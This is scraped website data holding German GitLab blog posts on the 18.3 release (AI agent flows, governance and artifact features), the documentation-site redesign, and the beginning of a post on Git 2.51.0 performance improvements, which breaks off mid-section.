ordnungsgemäße Berechtigungen und Audit-Trails beibehalten werden.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111784124?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Third Party Agents Flows Claude Code\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> *\"Claude Code direkt in GitLab zu bringen, bringt KI-Unterstützung dorthin, wo Millionen von Entwicklern bereits täglich zusammenarbeiten und Code liefern. Die Möglichkeit, Claude direkt in Issues und Merge Requests zu erwähnen, beseitigt Reibung und behält gleichzeitig die Qualität durch menschliche Aufsicht und Überprüfungsprozesse bei. Dieses Update bringt die Fähigkeiten von Claude Code an mehr Orte, an denen Teams arbeiten, und macht KI zu einem natürlichen Teil ihres Entwickler-Workflows.\"*\n>\n> **\\- Cat Wu, Claude Code Product Lead, Anthropic**\n>\n> *\"Mit der neuen Agenten-Integration von GitLab in 18.3 können Sie opencode innerhalb Ihrer bestehenden Workflows verwenden. Sie können opencode in einem Issue oder Merge Request mit @erwähnen und es führt Ihren Agenten direkt in Ihrer CI-Pipeline aus. Diese Möglichkeit, opencode so zu konfigurieren und auszuführen, wie Sie es möchten, ist die Art von Integration, von der wir wissen, dass die Open-Source-Community sie wirklich schätzt.\"*\n>\n> **\\- Jay V., CEO, opencode**\n\n* **Agentic Chat-Unterstützung für Visual Studio IDE und GitLab UI für alle Premium- und Ultimate-Kunden verfügbar:** Mit 18.3 müssen Sie nicht mehr zwischen Tools wechseln, um auf die vollständigen Entwicklungslebenszyklus-Daten von GitLab zuzugreifen. Die erweiterten Integrationen bringen die volle Leistung von GitLab Duo sowohl in die GitLab-Benutzeroberfläche als auch in IDEs – die Unterstützung wird von JetBrains und VS Code auf Visual Studio erweitert. Dies hilft Entwicklern, im Flow zu bleiben und gleichzeitig auf reichhaltigen Projektkontext, Deployment-Historie und Team-Kollaborationsdaten direkt in ihrer bevorzugten Umgebung zuzugreifen.\n* **Erweiterte KI-Modell-Unterstützung:** GitLab Duo Self-Hosted unterstützt jetzt zusätzliche KI-Modelle und gibt Teams mehr Flexibilität in ihren KI-unterstützten Entwicklungsworkflows. Sie können jetzt Open-Source-OpenAI-GPT-Modelle (20B und 120B Parameter) über vLLM auf Ihrer Rechenzentrums-Hardware oder über Cloud-Services wie Azure OpenAI und AWS Bedrock in Ihrer privaten Cloud bereitstellen. Zusätzlich ist Anthropics Claude 4 auf AWS Bedrock verfügbar.\n\n### Neue automatisierte Entwicklungs-Flows\n\nGitLab Flows koordinieren mehrere KI-Agenten mit vordefinierten Anweisungen, um diese zeitaufwändigen, alltäglichen Aufgaben autonom zu erledigen, damit sich Entwickler auf die wirklich wichtige Arbeit konzentrieren können.\n\nGitLab 18.3 kommt mit zwei neuen Flows:\n\n* **Issue to MR Flow ermöglicht automatisierte Code-Generierung vom Konzept bis zur Fertigstellung in Minuten:** Dieser Flow konvertiert automatisch Issues in umsetzbare Merge Requests (MRs), indem Agenten koordiniert werden, um Anforderungen zu analysieren, umfassende Implementierungspläne vorzubereiten und produktionsreifen Code zu generieren, der zur Überprüfung bereit ist – und verwandelt Ideen in überprüfbare Implementierungen in Minuten, nicht Stunden.\n\n\u003Cdiv style=\"padding:75% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111782058?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Issue to MR\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **Convert CI File Flow für nahtlose Migrationsintelligenz:** Der Convert CI File Flow rationalisiert Migrationsworkflows, indem Agenten bestehende CI/CD-Konfigurationen analysieren und sie intelligent in das GitLab CI-Format mit vollständiger Pipeline-Kompatibilität konvertieren. Dies eliminiert den manuellen Aufwand und potenzielle Fehler beim Neuschreiben von CI-Konfigurationen von Grund auf und ermöglicht es Teams, ganze Deployment-Pipelines mit Vertrauen zu migrieren. 18.3 umfasst Unterstützung für Jenkins-Migrationen. Zusätzliche Unterstützung ist für zukünftige Versionen geplant.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111783724?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Convert to CI Flow\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### Intelligenter Code und Suche\n\nKI-Punktlösungen arbeiten typischerweise mit begrenzter Sichtbarkeit in isolierte Code-Schnipsel, aber der Knowledge Graph von GitLab bietet Agenten Umgebungskontext, um schnellere und intelligentere Antworten zu ermöglichen.\n\n* **Knowledge Graph für Echtzeit-Code-Intelligenz:** Mit 18.3 liefert der Knowledge Graph von GitLab jetzt Echtzeit-Code-Indizierung für schnellere Code-Suchen und liefert genauere und kontextbezogene Ergebnisse. Durch das Verständnis der Beziehungen zwischen Dateien, Abhängigkeiten und Entwicklungsmustern über die gesamte Codebasis hinweg sind die Agenten darauf ausgelegt, Einblicke zu liefern, die menschliche Entwickler Stunden kosten würden – **und dies ist nur der erste Schritt zur Erschließung der leistungsstarken Funktionen, die für den Knowledge Graph geplant sind.**\n\n### Enterprise Governance\n\nKI-Transparenz und organisatorische Kontrolle sind kritische Herausforderungen, die Teams davon abhalten können, KI-gestützte Entwicklungstools vollständig zu übernehmen, wobei [85% der Führungskräfte zustimmen, dass agentische KI beispiellose Sicherheitsherausforderungen schaffen wird](https://about.gitlab.com/de-de/software-innovation-report/).\n\nDiese neuen Funktionen in 18.3 helfen, Bedenken hinsichtlich Daten-Governance, Compliance-Anforderungen und dem Bedarf an Transparenz in KI-Entscheidungsprozessen zu adressieren, damit Organisationen KI innerhalb ihrer bestehenden Sicherheits- und Policy-Frameworks integrieren können.\n\n* **Agent Insights für Transparenz durch Intelligenz:** Das integrierte Agenten-Tracking bietet Einblick in die Entscheidungsprozesse von Agenten. Nutzende können Workflows optimieren und Best Practices durch transparentes Activity-Tracking befolgen.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111783244?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Agent Insights\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n* **GitLab Duo Code Review für Self-Hosted:** Dies bringt die Intelligenz von GitLab Duo zu Organisationen mit strengen Daten-Governance-Anforderungen, indem Teams sensiblen Code in kontrollierten Umgebungen behalten können.\n* **Hybrid-Modell-Konfigurationen für flexible KI-Bereitstellung:** GitLab Duo Self-Hosted-Kunden können jetzt Hybrid-Modell-Konfigurationen verwenden, die selbst gehostete KI-Modelle über ihr lokales KI-Gateway mit den Cloud-Modellen von GitLab über das KI-Gateway von GitLab kombinieren und so Zugriff auf verschiedene Funktionen ermöglichen.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111783569?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Self Hosted Models Code Review\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n* **Erweiterte Sicherheit mit OAuth-Unterstützung:** Der MCP-Server umfasst jetzt vollständige OAuth 2.0-Authentifizierungsunterstützung, die sichere Verbindungen zu geschützten Ressourcen und sensiblen Entwicklungsumgebungen ermöglicht. Diese Implementierung folgt dem Entwurf der OAuth-Spezifikation für MCP und behandelt Autorisierungsflows, Token-Verwaltung und dynamische Client-Registrierung.\n\n### Secure by Design-Plattform: Governance, die skaliert\n\nEchte Plattformsicherheit erfordert die konsistente Anwendung von Governance-Prinzipien über jede Ebene des Entwicklungslebenszyklus. Die gleichen Sicherheitsgrundlagen, die die KI-Adoption sicher machen – Least-Privilege-Zugriff, zentralisiertes Policy-Management, proaktive Überwachung und granulare Berechtigungen – müssen im gesamten SDLC eingebettet sein, um einen kohärenten Defense-in-Depth-Ansatz zu schaffen.\n\nGitLab 18.3 stärkt die grundlegenden Kontrollen, die zum Schutz der gesamten Software-Supply-Chain beitragen, mit diesen neuen Updates:\n\n* **Benutzerdefinierte Admin-Rolle:** Bietet granulare, zweckgebundene administrative Berechtigungen und ersetzt pauschalen Admin-Zugriff durch präzise Least-Privilege-Kontrollen. Anstatt pauschale administrative Privilegien zu gewähren, die Sicherheitsrisiken schaffen, können Organisationen jetzt spezialisierte Rollen erstellen, die auf spezifische Funktionen zugeschnitten sind – Plattform-Teams, die Runner und Monitoring verwalten, Support-Teams, die die Benutzerverwaltung handhaben, und Führungskräfte, die auf Dashboards und Nutzungsstatistiken zugreifen. Mit vollständigem Rollen-Lifecycle-Management über UI und API, Audit-Logging und automatisch generierter Dokumentation ermöglicht diese Funktion echte Least-Privilege-Administration bei gleichzeitiger Aufrechterhaltung der operativen Effizienz und Verbesserung der allgemeinen Instanzsicherheit.\n* **Compliance-Framework und Sicherheits-Policy-Management auf Instanzebene:** Organisationen können jetzt eine dedizierte Compliance-Gruppe bestimmen, die die Befugnis hat, standardisierte Frameworks und Sicherheitsrichtlinien direkt auf Top-Level-Gruppen anzuwenden und die Durchsetzung automatisch auf alle ihre Untergruppen und Projekte zu kaskadieren. Dieser zentralisierte Ansatz eliminiert den Compliance-Adoptionsblocker des fragmentierten Policy-Managements bei gleichzeitiger Beibehaltung der Gruppenautonomie für zusätzliche lokale Richtlinien.\n* **Erweiterte Verletzungsberichte:** Teams erhalten jetzt sofortige Benachrichtigungen, wenn nicht autorisierte Änderungen an MR-Genehmigungsregeln vorgenommen werden, Framework-Richtlinien keine ordnungsgemäßen Genehmigungen haben oder zeitbasierte Compliance-Kontrollen verletzt werden. Durch die direkte Verknüpfung von Verletzungen mit spezifischen Compliance-Framework-Kontrollen erhalten Teams umsetzbare Einblicke, die genau zeigen, welche Anforderung verletzt wurde, und verwandeln Compliance von einer reaktiven Checkbox-Übung in einen proaktiven, integrierten Teil des Entwicklungs- und Sicherheitsworkflows.\n* **Fein abgestimmte Berechtigungen für CI/CD-Job-Token:** Ersetzt breiten Token-Zugriff durch granulare, explizite Berechtigungen, die CI/CD-Jobs nur Zugriff auf die spezifischen API-Endpunkte gewähren, die sie tatsächlich benötigen. Anstatt Jobs pauschalen Zugriff auf Projektressourcen zu gewähren, können Teams jetzt präzise Berechtigungen für Deployments, Pakete, Releases, Umgebungen und andere kritische Ressourcen definieren, wodurch die Angriffsfläche und das Potenzial für Privilegieneskalation reduziert werden.\n* **AWS Secrets Manager-Integration:** Teams, die AWS Secrets Manager verwenden, können jetzt Secrets direkt in GitLab CI/CD-Jobs abrufen, was die Build- und Deploy-Prozesse vereinfacht. Secrets werden von einem GitLab Runner über OpenID Connect-protokollbasierte Authentifizierung abgerufen, maskiert, um Exposition in Job-Logs zu verhindern, und nach Gebrauch zerstört. Dieser Ansatz eliminiert die Notwendigkeit, Secrets in Variablen zu speichern, und integriert sich nahtlos in bestehende GitLab- und AWS-basierte Workflows. In enger Zusammenarbeit mit der Deutschen Bahn und dem AWS Secrets Manager-Team entwickelt, spiegelt diese Integration unser Engagement wider, Lösungen gemeinsam mit Kunden zu entwickeln, um reale Herausforderungen zu lösen.\n\n### Artifact Management: Sicherung der Software-Supply-Chain\n\nWenn Artefakte nicht ordnungsgemäß verwaltet werden, können kleine Änderungen große Konsequenzen haben. Veränderbare Pakete, überschriebene Container-Images und inkonsistente Regeln über Tools hinweg können Produktionsausfälle auslösen, Schwachstellen einführen und Compliance-Lücken schaffen. Für Enterprise DevSecOps ist sicheres, zentralisiertes Artifact Management unerlässlich, um die Software-Supply-Chain intakt zu halten.\n\n#### Enterprise-Grade-Artifact-Schutz in 18.3\n\nAufbauend auf den umfassenden Package-Protection-Funktionen fügt GitLab 18.3 wichtige neue Funktionen hinzu:\n\n* **Conan-Revisions-Unterstützung:** Neu in 18.3 bieten [Conan-Revisionen](https://docs.gitlab.com/user/packages/conan_2_repository/#conan-revisions) Paket-Unveränderlichkeit für C++-Entwickler. Wenn Änderungen an einem Paket vorgenommen werden, ohne seine Version zu ändern, berechnet Conan eindeutige Identifikatoren, um diese Änderungen zu verfolgen, wodurch Teams unveränderliche Pakete beibehalten können, während die Versionsklarheit erhalten bleibt.\n* **Erweiterte Container Registry-Sicherheit:** Nach der erfolgreichen Einführung von [unveränderlichen Container-Tags](https://docs.gitlab.com/user/packages/container_registry/immutable_container_tags/) in 18.2 sehen wir eine starke Unternehmensadoption. Sobald ein Tag erstellt wird, das einer unveränderlichen Regel entspricht, kann niemand – unabhängig von der Berechtigungsebene – dieses Container-Image ändern, wodurch unbeabsichtigte Änderungen an Produktionsabhängigkeiten verhindert werden.\n\nDiese Verbesserungen ergänzen die bestehenden Schutzfunktionen für npm, PyPI, Maven, NuGet, Helm-Charts und generische Pakete und ermöglichen es Plattform-Teams, konsistente Governance über ihre gesamte Software-Supply-Chain zu implementieren – eine Anforderung für Organisationen, die sichere interne Entwicklerplattformen aufbauen.\n\nIm Gegensatz zu eigenständigen Artifact-Lösungen eliminiert der integrierte Ansatz von GitLab den Kontextwechsel zwischen Tools und bietet gleichzeitig End-to-End-Nachverfolgbarkeit vom Code bis zur Bereitstellung, wodurch Plattform-Teams konsistente Governance über ihre gesamte Software-Delivery-Pipeline implementieren können.\n\n### Embedded Views: Echtzeit-Sichtbarkeit und Berichte\n\nDa GitLab-Projekte an Komplexität zunehmen, navigieren Teams zwischen Issues, Merge Requests, Epics und Meilensteinen, um die Sichtbarkeit des Arbeitsstatus aufrechtzuerhalten. Die Herausforderung liegt darin, diese Informationen effizient zu konsolidieren und gleichzeitig sicherzustellen, dass Teams Echtzeitzugriff auf den Projektfortschritt haben, ohne den Kontext zu wechseln oder ihren Flow zu unterbrechen.\n**Start der Echtzeit-Arbeitsstatussichtbarkeit in 18.3**\nDie [Embedded Views von GitLab 18.3, unterstützt durch die leistungsstarke GitLab Query Language](https://docs.gitlab.com/user/glql/#embedded-views) (GLQL), eliminieren den Kontextwechsel, indem sie Live-Projektdaten direkt in den Workflow bringen:\n\n* **Dynamische Ansichten:** Fügen Sie Live-GLQL-Abfragen in Markdown-Codeblöcken in Wiki-Seiten, Epics, Issues und Merge Requests ein, die sich automatisch mit aktuellen Projektzuständen aktualisieren, jedes Mal wenn Sie die Seite laden.\n* **Kontextuelle Personalisierung:** Ansichten passen sich automatisch mit Funktionen wie `currentUser()` und `today()` an, um relevante Informationen für den jeweiligen Betrachter anzuzeigen, ohne manuelle Konfiguration.\n* **Leistungsstarke Filterung:** Filtern Sie nach 25+ Feldern, einschließlich Assignee, Autor, Label, Meilenstein, Gesundheitsstatus und Erstellungsdatum.\n* **Anzeigeflexibilität:** Präsentieren Sie Daten als Tabellen, Listen oder nummerierte Listen mit anpassbarer Feldauswahl, Artikelbegrenzungen und Sortierreihenfolgen, um die Ansichten fokussiert und umsetzbar zu halten.\n\nIm Gegensatz zu fragmentierten Projektmanagement-Ansätzen wurden Embedded Views so konzipiert, dass sie die Workflow-Kontinuität beibehalten und gleichzeitig Echtzeit-Sichtbarkeit bieten, wodurch Teams fundierte Entscheidungen treffen können, ohne den Fokus zu verlieren oder zwischen mehreren Tools und Schnittstellen zu wechseln.\n\n> Erfahre mehr über die [neuesten Funktionen in GitLab 18.3](https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/).\n\n## Jetzt starten\n\nGitLab 18.3 ist jetzt für GitLab Premium- und Ultimate-Nutzende auf GitLab.com und in selbstverwalteten Umgebungen verfügbar.\n\nGitLab Dedicated-Kunden wurden jetzt auf 18.2 aktualisiert und können die mit GitLab 18.3 veröffentlichten Funktionen nächsten Monat nutzen.\n\nBereit, die Zukunft des Software Engineering zu erleben? [Aktiviere Beta- und experimentelle Funktionen für GitLab Duo](https://docs.gitlab.com/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features) und beginne die Zusammenarbeit mit KI-Agenten, die den vollständigen Entwicklungskontext verstehen.\n\nNeu bei GitLab? [Starte noch heute die kostenlose Testversion](https://gitlab.com/-/trials/new) und entdecke, warum die Zukunft des Software Engineering in der Zusammenarbeit zwischen Mensch und KI liegt, orchestriert durch die weltweit umfassendste DevSecOps-Plattform.\n\n\u003Cp>\u003Csmall>\u003Cem>Dieser Blogbeitrag enthält \"zukunftsgerichtete Aussagen\" im Sinne von Section 27A des Securities Act von 1933 in der geänderten Fassung und Section 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag zum Ausdruck gebrachten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse oder Resultate wesentlich von den zukünftigen Ergebnissen oder Resultaten abweichen, die in den zukunftsgerichteten Aussagen ausgedrückt oder impliziert werden.\u003C/em>\u003C/p>\n\u003Cp>\u003Cem>Weitere Informationen zu Risiken, Unsicherheiten und anderen Faktoren, die dazu führen könnten, dass die tatsächlichen Ergebnisse und Resultate wesentlich von denen abweichen, die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag enthalten oder berücksichtigt werden, finden Sie unter der Überschrift \"Risikofaktoren\" und an anderen Stellen in den Einreichungen und Berichten, die wir bei der Securities and Exchange Commission einreichen. Wir übernehmen keine Verpflichtung, zukunftsgerichtete Aussagen zu aktualisieren oder zu revidieren oder über Ereignisse oder Umstände nach dem Datum dieses Blogbeitrags zu berichten oder das Eintreten unvorhergesehener Ereignisse widerzuspiegeln, außer wenn dies gesetzlich vorgeschrieben ist.\u003C/em>\u003C/small>\u003C/p>",[680,679,746,745,765],{"featured":92,"template":682,"slug":996},"gitlab-13-expanding-ai-orchestration-in-software-engineering","content:de-de:blog:gitlab-13-expanding-ai-orchestration-in-software-engineering.yml","Gitlab 13 Expanding Ai Orchestration In Software Engineering","de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering.yml","de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering",{"_path":1002,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1003,"config":1006,"content":1008,"_id":1017,"_type":16,"title":1018,"_source":17,"_file":1019,"_stem":1020,"_extension":20},"/de-de/blog/docs-site-design-overhaul",{"title":1004,"description":1005},"Wir haben die GitLab-Dokumentationsseite komplett redesigned","Die Produktdokumentation ist nun sauberer, einfacher zu navigieren und enthält einen Dark Mode.",{"slug":1007,"featured":6,"template":682},"docs-site-design-overhaul",{"title":1004,"description":1009,"authors":1010,"heroImage":804,"date":1014,"category":847,"tags":1015,"body":1016},"Erfahre mehr über die Features unserer neu gestalteten Produktdokumentationsseite, die einen einfachen Feedback-Mechanismus und den vielgewünschten Dark Mode bietet.",[1011,1012,1013],"Suzanne Selhorn","Sarah German","Julia Miocene","2025-08-20",[270],"Die GitLab-Dokumentationsseite hat jetzt ein völlig neues Look-and-Feel.\nWas als Anfrage für gezielte Design-Fixes begann, wurde zu einem umfassenden Redesign mit vier wichtigen Verbesserungen:\n\n**Auch und gerade für deutsche Entwicklungsteams:** Diese Verbesserungen machen es einfacher, die englische Dokumentation zu nutzen. Dark Mode und die klarere Navigation helfen dabei, auch bei längeren Sessions die benötigten Informationen zu finden – ohne dass Sprachbarrieren durch schlechte UX verstärkt werden.\n\n## Die vier wichtigsten neuen Features\n\n**Der Dark Mode**: Das meistgewünschte Feature ist endlich da. Du kannst zwischen hellen und dunklen Themes in der oberen rechten Ecke wechseln\nfür bessere Lesbarkeit und weniger Augenbelastung.\n\n**Die Redesigned Navigation**: Wir haben die primäre Navigation nach oben verschoben und die linke Sidebar umstrukturiert, damit unsere 2 300+ Seiten\nweniger überwältigend und besser auffindbar sind.\n\n**Das Simplified Feedback**: Du kannst jetzt Thumbs-up/down-Feedback geben und Kommentare direkt auf jeder Dokumentationsseite hinzufügen.\n\n**Die Technical Debt Fixes**: Dutzende kleiner, aber wirkungsvoller Fixes für Typography, Spacing, Code Blocks und visuelle Inkonsistenzen,\ndie wir über die Jahre gesammelt haben.\n\nDie Brand Alignment mit GitLab's Marketing-Site sorgt außerdem für eine einheitlichere Experience über alle GitLab Properties hinweg.\n\n## Warum jetzt? Das Fundament für Veränderung\n\nAnfang des Jahres hat unser Documentation Engineering Team unter Leitung von Sarah German ein kritisches Replatforming-Projekt durchgeführt\nund von Nanoc zu Hugo migriert. Während diese Änderung für Teams größtenteils unsichtbar war, brachte sie dramatische Performance-Verbesserungen – 130x schnellere lokale Builds\nund 30x schnellere vollständige Builds – und bot die solide technische Grundlage für diese Verbesserungen.\n\nMit diesem Replatforming haben wir die Grundlage geschaffen, die es uns ermöglicht hat, uns auf User Experience-Verbesserungen zu konzentrieren, anstatt mit veralteter Infrastructure zu kämpfen.\n\nSchauen wir uns die Änderungen genauer an.\n\n### Dark Mode\n\nMöglicherweise die größte News für dieses Release: Dark Mode ist jetzt über die gesamte Dokumentationsseite verfügbar.\nDu änderst die Einstellung in der oberen rechten Ecke, und die Site merkt sich deine Präferenz.\nFür viele Teams macht Dark Mode Content einfacher zu lesen und reduziert Eyestrain.\n\n![image of dark mode](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617168/gz45eaygeb0nizf1kwyu.png)\n\n### Redesigned Navigation\n\nWir standen vor der großen Herausforderung, über 2 300 Seiten so zu organisieren, dass Teams nicht überwältigt werden.\nUnsere vorherige einzelne linke Navigation war zwar umfassend, aber schuf eine einschüchternde Experience:\n\n![image of former navigation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617332/k75fwr3rhjxfjyxmc49d.png)\n\nDer neue Ansatz verschiebt die primäre Navigation nach oben und schafft kürzere, überschaubarere Table-of-Contents-Sections, die sich weniger überwältigend navigieren lassen:\n\n![image of new navigation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617366/wziabrijury9jl5j7ica.png)\n\nSo zeigen wir die Relationships zwischen Features besser, während einzelne Sections verdaulicher werden.\n\n### Simplified Feedback Mechanism\n\nWir haben den Feedback-Prozess vereinfacht. Anstatt zu verlangen, dass Teams die Docs-Site verlassen und GitLab Issues erstellen,\nkönnen sie jetzt sofortiges Feedback mit Thumbs-up/down-Ratings und Comments direkt auf jeder Page geben.\nScroll einfach auf jeder Dokumentationspage nach unten, um diese neue Functionality in Action zu sehen.\n\n![image of feedback area](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617289/rjocpkmqumacaw7thjqi.png)\n\n### Style Updates und Technical Debt\n\nÜber die Jahre hatten sich kleine Style-Inkonsistenzen angesammelt – inkonsistente Padding in Lists, zusätzliche Spacing um Alerts und verschiedene Typography-Issues.\nDie sehen zwar klein aus, aber zusammen schufen sie eine subtil störende Experience für Daily Users.\n\nUnsere Tabs und Code Blocks haben besondere Aufmerksamkeit bekommen und sind jetzt besser definiert.\n\nVorher sahen Tabs mit Code so aus:\n\n![image of old tabs with code block](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617460/jsa2gz3b2slqu0udrg28.png)\n\nUnd jetzt, mit ein paar kleinen Tweaks, sehen sie so aus:\n\n![image of new tabs with code block](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617493/jpxiybvnadsex39lyawu.png)\n\nDiese Papercut-Fixes sind einzeln klein, aber zusammen schaffen sie eine viel poliertere, professionellere Experience.\n\n## Was kommt als nächstes?\n\nDieses Redesign zeigt, wie wir bei GitLab iterieren – wir shippen meaningful Improvements und bauen gleichzeitig für eine noch bessere Zukunft.\nWir erwarten, die Struktur weiter zu verfeinern und Features hinzuzufügen, die Teams helfen, leichter zu finden, was sie brauchen.\n\nUser Feedback wird unsere nächsten Iterationen antreiben, und mit unserem neuen simplified Feedback Mechanism\nsind wir besser positioniert denn je, direkt von unseren Documentation-Teams zu hören.\n\n## Das Team\n\nDas ganze Team hat an dieser Transformation gearbeitet. Kudos an UX Papercuts und Julia Miocene dafür,\naus einer einfachen Anfrage eine umfassende Design Vision zu machen. Thanks an die Engineers im Technical Writing:\nSarah German, Pearl Latteier und Hiru Fernando, die diese Designs zum Leben erweckt haben.\n\nDas neue Design balanciert Information Density mit Visual Clarity, modernisiert unsere Site unter Beibehaltung\nvon Usability- und Accessibility-Standards und ist ein großer Schritt nach vorn in User Experience und Visual Design.\n","content:de-de:blog:docs-site-design-overhaul.yml","Docs Site Design Overhaul","de-de/blog/docs-site-design-overhaul.yml","de-de/blog/docs-site-design-overhaul",{"_path":1022,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1023,"content":1028,"config":1035,"_id":1037,"_type":16,"title":1038,"_source":17,"_file":1039,"_stem":1040,"_extension":20},"/de-de/blog/what-s-new-in-git-2-51-0",{"config":1024,"ogImage":1025,"title":1026,"description":1027},{"noIndex":6},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png","Was ist neu in Git 2.51.0?","Erfahren Sie mehr über die neuesten Beiträge von GitLabs Git-Team und der Git-Community, einschließlich Performance-Optimierungen für git-push(1) und git-fetch(1), die besonders für deutsche Entwicklungsteams relevant sind.",{"title":1026,"description":1027,"authors":1029,"heroImage":1025,"date":1031,"body":1032,"category":1033,"tags":1034},[1030],"Karthik Nayak","2025-08-18","Das Git-Projekt hat kürzlich [Git 2.51](https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u) veröffentlicht. Aufgrund des Sommers auf der Nordhalbkugel und langsamerer Fortschritte war dieser Release-Zyklus mit 8 Wochen eher kurz (normalerweise dauert ein Release-Zyklus etwa 12 Wochen). \n\n**Die wichtigste Neuerung: Git-Operationen werden bis zu 22-mal schneller** - besonders bei großen Repositories mit vielen Branches profitieren Entwicklungsteams von erheblichen Performance-Verbesserungen.\n\nSchauen wir uns diese und andere bemerkenswerte Änderungen in diesem Release an, einschließlich Beiträgen vom Git-Team bei GitLab und der breiteren Git-Community.\n\n## Massive Performance-Verbesserungen: Von Sekunden zu Millisekunden\n\nGroße Repositories mit tausenden von Branches standen vor einem schmerzhaften Engpass. Git-Operationen, die Referenzen aktualisieren, konnten mehrere Sekunden dauern - ein echter Produktivitätskiller für Teams mit umfangreichen CI/CD-Pipelines oder Monorepo-Workflows.\n\n**Git 2.51.0 ändert alles. Eine 10.000-Referenzen-Fetch-Operation, die 3,4 Sekunden dauerte, wird jetzt in 154 Millisekunden abgeschlossen:**\n\n```\nVORHER: git-fetch mit 10.000 Referenzen\nTime: 3.403 s ± 0.775 s\n\nNACHHER: git-fetch mit 10.000 Referenzen  \nTime: 154.3 ms ± 17.6 ms\n\nERGEBNIS: 22× schneller\n```\n\n**Ähnlich dramatische Verbesserungen bei git-push:**\n\n```\nVORHER: git-push mit 10.000 Referenzen\nTime: 4.276 s ± 0.078 s\n\nNACHHER: git-push mit 10.000 Referenzen\nTime: 235.4 ms ± 6.9 ms\n\nERGEBNIS: 18× schneller\n```\n\n### Wie wurde das erreicht?\n\nDas Problem lag in der Art, wie Git Referenz-Transaktionen behandelte. Die Kommandos git-push(1) und git-fetch(1) erstellten eine separate Transaktion für jedes Referenz-Update, was enormen Overhead verursachte - jede Transaktion benötigte eine Initialisierungs- und Abbauphase und löste Auto-Komprimierungen aus.\n\nGit 2.51.0 verwendet nun **gebündelte Updates**: Mehrere Referenzen werden in einer einzigen Transaktion aktualisiert, während einzelne Updates weiterhin fehlschlagen dürfen. Dies eliminiert den Overhead und skaliert linear mit der Anzahl der Referenzen.\n\nDas Beste daran? Benutzer profitieren automatisch von diesen Verbesserungen, ohne Änderungen an ihrem Workflow vornehmen zu müssen.\n\nDieses [Projekt](https://lore.kernel.org/git/20250514-501-update-git-fetch-1-to-use-partial-transactions-v1-0-7c65f46493d4@gmail.com/) wurde von [Karthik Nayak](https://gitlab.com/knayakgl) geleitet.\n\n## Änderungen in Richtung Git 3.0\n\nVor 11 Jahren wurde Git 2.0 veröffentlicht, die letzte große Versionsfreigabe von Git. Obwohl wir keinen spezifischen Zeitplan für die nächste große Git-Veröffentlichung haben, enthält dieses Release Entscheidungen, die in Richtung Git 3.0 getroffen wurden.\n\nDie Git 3.0-Release-Planung ermöglicht es uns, Breaking Changes zu planen und zu implementieren und diese der erweiterten Git-Community zu kommunizieren. Neben der Dokumentation kann Git auch mit diesen Breaking Changes kompiliert werden für diejenigen, die mit diesen Änderungen experimentieren möchten. Weitere Informationen finden Sie im [BreakingChanges-Dokument](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/BreakingChanges.adoc).\n\nDas Git 2.51.0-Release bringt einige bedeutende Änderungen in Richtung Git 3.0.\n\n### 